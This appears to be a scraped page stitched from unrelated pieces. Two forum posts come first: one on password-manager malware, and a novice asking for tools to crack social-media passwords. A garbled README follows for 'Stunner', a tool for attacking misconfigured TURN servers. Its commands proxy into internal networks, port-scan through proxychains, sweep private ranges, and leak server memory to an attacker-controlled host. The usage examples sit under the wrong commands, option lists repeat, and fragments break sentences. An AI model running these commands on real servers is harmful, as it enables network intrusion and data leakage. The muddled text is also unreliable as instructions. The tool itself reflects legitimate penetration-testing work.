Why I don't hear about malware targetting password managers?

I mean malware which steals all the passwords user holds in the unlocked vault on a disk of his/her local machine. My hypothesis is that password managers are not popular yet. If they became popular malware will emerge. What do you think?

EDIT: I'm interested in client-side attacks.

New to hacking

So like the title says, I’m new to hacking. I’ve set up a few fake accounts of Social Media (Instagram and Snapchat )and I wanted to ask if there are specialized tools for cracking passwords of these sides? Since I made the Accounts I obviously have the Username and the Account ID’s (on Instagram) I can get with OSINT. I’m familiar with Phishing, but Phishing myself seems a bit too easy. Thank you in advance

Stunner is a tool to test and exploit STUN, TURN and TURN over TCP servers. TURN is a protocol mostly used in videoconferencing and audio chats (WebRTC). If you find a misconfigured server you can use this tool to open a local socks proxy that relays all traffic via the TURN protocol into the internal network behind the server. I developed this tool during a test of Cisco Expressway which resulted in some vulnerabilities: https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/ To get the required username and password you need to fetch them using an out-of-band method like sniffing the Connect request from a web browser with Burp. I added an example workflow (https://github.com/firefart/stunner#example-workflow) at the bottom of the readme on how you would test such a server.

socks This is one of the most useful commands for TURN servers that support TCP connections to backend servers. It will launch a local socks5 server with no authentication (https://www.kitploit.com/search/label/Authentication) and will relay all TCP traffic over the TURN protocol (UDP via SOCKS is currently not supported). If the server is misconfuigured it will forward the traffic to internal adresses so this can be used to reach internal systems and abuse the server as a proxy into the internal network. If you choose to also do DNS lookups over socks, it will be resolved using your local nameserver (https://www.kitploit.com/search/label/Nameserver) so it's best to work with private IPv4 and IPv6 addresses. Please be aware that this module can only relay TCP traffic. Options certificates via the connection. (default: true) --help, -h show help (default: false)">--debug, -d enable debug output (default: false) --turnserver value, -s value turn server to connect to in the format host:port --tls Use TLS for connecting (false in most tests) (default: false) --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp") --timeout value connect timeout to turn server (default: 1s) --username value, -u value username for the turn server --password value, -p value password for the turn server --listen value, -l value Address and port to listen on (default: "127.0.0.1:1080") --drop-public, -x Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection. (default: true) --help, -h show help (default: false) Example ./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp After starting the proxy open your browser, point the proxy in your settings to socks5 with an ip of 127.0.0.1:1080 (be sure to not set the bypass local address option as we want to reach the remote local addresses) and call the IP of your choice in the browser. Example: https://127.0.0.1 (https://127.0.0.1/), https://127.0.0.1:8443 (https://127.0.0.1:8443/) or https://[::1]:8443 (those will call the ports on the tested TURN server from the local interfaces). You can also configure proxychains to use this proxy (but it will be very slow as each request results in multiple requests to enable the proxying). Just edit /etc/proxychains.conf and enter the value socks5 127.0.0.1 1080 under ProxyList. Example of nmap over this socks5 proxy with a correct configured proxychains (note it's -sT to do TCP syns otherwise it will not use the socks5 proxy) ./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp brute-transports This will most likely yield no useable information but can be useful to enumerate all available transports (=protocols to internal systems) supported by the server. This might show some custom protocol implementations but mostly will only return the defaults.

memoryleak This attack works the following way: The server takes the data to send to target (must be a high port > 1024 in most cases) as a TLV (Type Length Value). This exploit uses a big length with a short value. If the server does not check the boundaries of the TLV, it might send you some memory up the length to the target. Cisco Expressway was confirmed vulnerable to this but according to cisco it only leaked memory of the current session. Options --debug, -d enable debug output (default: false) --turnserver value, -s value turn server to connect to in the format host:port --tls Use TLS for connecting (false in most tests) (default: false) --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp") --timeout value connect timeout to turn server (default: 1s) --username value, -u value username for the turn server --password value, -p value password for the turn server --target value, -t value Target to leak memory to in the form host:port. Should be a public server under your control --size value Size of the buffer to leak (default: 35510) --help, -h show help (default: false) Example To receive the data we need to set up a receiver on a server with a public ip. Normally firewalls are configured to only allow highports (>1024) from TURN servers so be sure to use a high port like 8080 in this example when connecting out to the internet. ./stunner socks -s x.x.x.x:3478 -u username -p password -x then execute the following statement on your machine adding the public ip to the t parameter sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1 If it works you should see big loads of memory coming in, otherwise you will only see short messages. udp-scanner If a TURN server allows UDP connections to targets this scanner can be used to scan all private ip ranges and send them SNMP and DNS requests. As this checks a lot of IPs this can take multiple days to complete so use with caution or specify smaller targets via the parameters. You need to supply a SNMP community string that will be tried and a domain name that will be resolved on each IP. For the domain name you can for example use burp collaborator. Options --debug, -d enable debug output (default: false) --turnserver value, -s value turn server to connect to in the format host:port --tls Use TLS for connecting (false in most tests) (default: false) --protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp") --timeout value connect timeout to turn server (default: 1s) --username value, -u value username for the turn server --password value, -p value password for the turn server --community-string value SNMP community string to use for scanning (default: "public") --domain value domain name to resolve on internal DNS servers during scanning --ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs) --help, -h show help (default: false) Example --debug, -d enable debug output (default: false)

(accepts multiple inputs) --help, -h show help (default: false) Example ./stunner brute-transports -s x.x.x.x:3478 -u username -p password Example workflow Let's say you find a service using WebRTC and want to test it. First step is to get the required data. I suggest to launch Wireshark in the background and just join a meeting via Burp to collect all HTTP and Websocket traffic. Next search your burp history for some keywords related to TURN like 3478, password, credential and username (be sure to also check the websocket tab for these keywords). This might reveal the turn server and the protocol (UDP and TCP endpoints might have different ports) and the credentials (https://www.kitploit.com/search/label/Credentials) used to connect. If you can't find the data in burp start looking at wireshark to identify the traffic. If it's on a non standard port (anything else then 3478) decode the protocol in Wireshark via a right click as STUN. This should show you the username used to connect and you can use this information to search burps history even further for the required data . Please note that Wireshark can't show you the password as the password is used to hash some package contents so it can not be reversed. Next step would be to issue the info command to the turn server using the correct port and protocol obtained from burp. If this works, the next step is a range-scan. If this allows any traffic to internal systems you can exploit this further but be aware that UDP has only limited use cases. If TCP connections to internal systems are allowed simply launch the socks command and access the allowed IPs via a browser and set the socks proxy to 127.0.0.1:1080. You can try out 127.0.0.1:443 and other ips to find management (https://www.kitploit.com/search/label/Management) interfaces.
